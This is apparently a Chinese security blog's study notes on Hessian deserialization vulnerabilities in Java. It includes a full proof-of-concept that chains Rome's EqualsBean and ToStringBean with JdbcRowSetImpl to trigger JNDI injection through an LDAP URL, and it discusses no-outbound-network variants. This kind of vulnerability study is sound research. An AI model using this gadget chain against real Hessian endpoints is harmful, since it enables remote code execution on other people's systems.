出品|博客(ID:moon_flower)
►►►
声明
以下内容,来自先知社区的u21h2作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
►►►
环境搭建
关于RPC:
Remote Procedure Call Protocol,远程过程调用协议,和RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但RPC是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
通讯过程:
-
客户端发起请求,并按照RPC协议格式填充信息
-
填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
-
服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求信息并进行处理
-
处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
maven添加扩展:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
►►►
漏洞分析
漏洞的触发点:HessianInput#readObject,由于Hessian会加你个序列化的结果处理成一个Map,所有序列化的结果的bytes的第一个 byte总为M(77)。
接着调用readMap进行进一步解析,接着进入getDeserializer,然后创建一个 HashMap作为缓存,先将要反序列化的类作为key放入HashMap中
这里会调用HashMap.put方法,结合之前分析过的CC链,后续调用的hash函数能触发任意类的hashcode方法。那么只需要找一条入口为hashcode的反序列化链即可。
RomeXBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor
打 Rome
poc:
package moonflower.hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.ObjectNameDeserializer;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_Rome {
public staticbyte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public staticT deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; } public static void setValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object getValue(Object obj, String name) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); } public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://localhost:9999/EXP"; jdbcRowSet.setDataSourceName(url); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); HashMap hashMap = makeMap(equalsBean, "1"); byte[] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); } //
用反射动态创建数组,防止在狗仔gadget的时候触发 put 方法导致RCE。
public static HashMapmakeMap (Object v1, Object v2) throws Exception {
HashMaps = new HashMap<>();
setValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.until.HashMap$Node");
}
catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl); return s; } }
Rome的rce过程:进入触发点,接着调用EqualBean的hashcode方法
接着会触发ToStringBean的toString方法(这里就有很多其它延申了,比如可以接一个 CC5)
接着进入JdbcRowSetImp的toString 方法,在其中会调用JdbcRowSetImp的 getter
当调用到getDatabaseMetaData的时候,会进入connect方法,进而调用 lookup触发jndi注入。
►►►
不出网的失败打法
参考 CC2,在ToStringBean.toString() 的地方能调用任意的getter,正常的思路是可以利用TemplatesImpl的getOutputProperties方法实现任意类加载,但这个思路在Hessian反序列化中是不行的!!!
先回顾一下正常的CC2,从Transformer开始,跟进到getTransletInstance中,并在其中实例化恶意class。顺着调用栈向上找,恶意class的生成在defineTransl-etClasses中实现:
注意这里的_tfactory是传入的TransformerFactor-yImpl(因为默认为null,不传的话会直接触发异常)。
如果在Hessian反序列化中用TemplatesImpl代替ROME中的jndi注入,会在toString中调用TemplatesImpl的getOutputProperties,但这里重点关注传入的关键参数
跟进具体的调用
同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
找一下_tfactory的定义发现_tfactory是用transient修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
但CC2为什么可以?原因是TemplatesImpl的readObject的最后一句直接new了一个_tfactory(这也是为什么虽然王传的大部分CC2都要给 _tfactory传参但不传也行的原因),而直接拼Rome的链子不会用到原生的readObject,所以也不会实例化这个_tfactory。
不出网的成功打法
利用了java.security.SignedObject ,直接打二次反序列化即可。
►►►
参考
-
https://goodapple.top/archives/1193
-
https://f002.backblazeb2.com/file/sec-news-
-
backup/files/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
-
https://su18.org/post/hessian/
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):Hessian反序列化漏洞学习记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论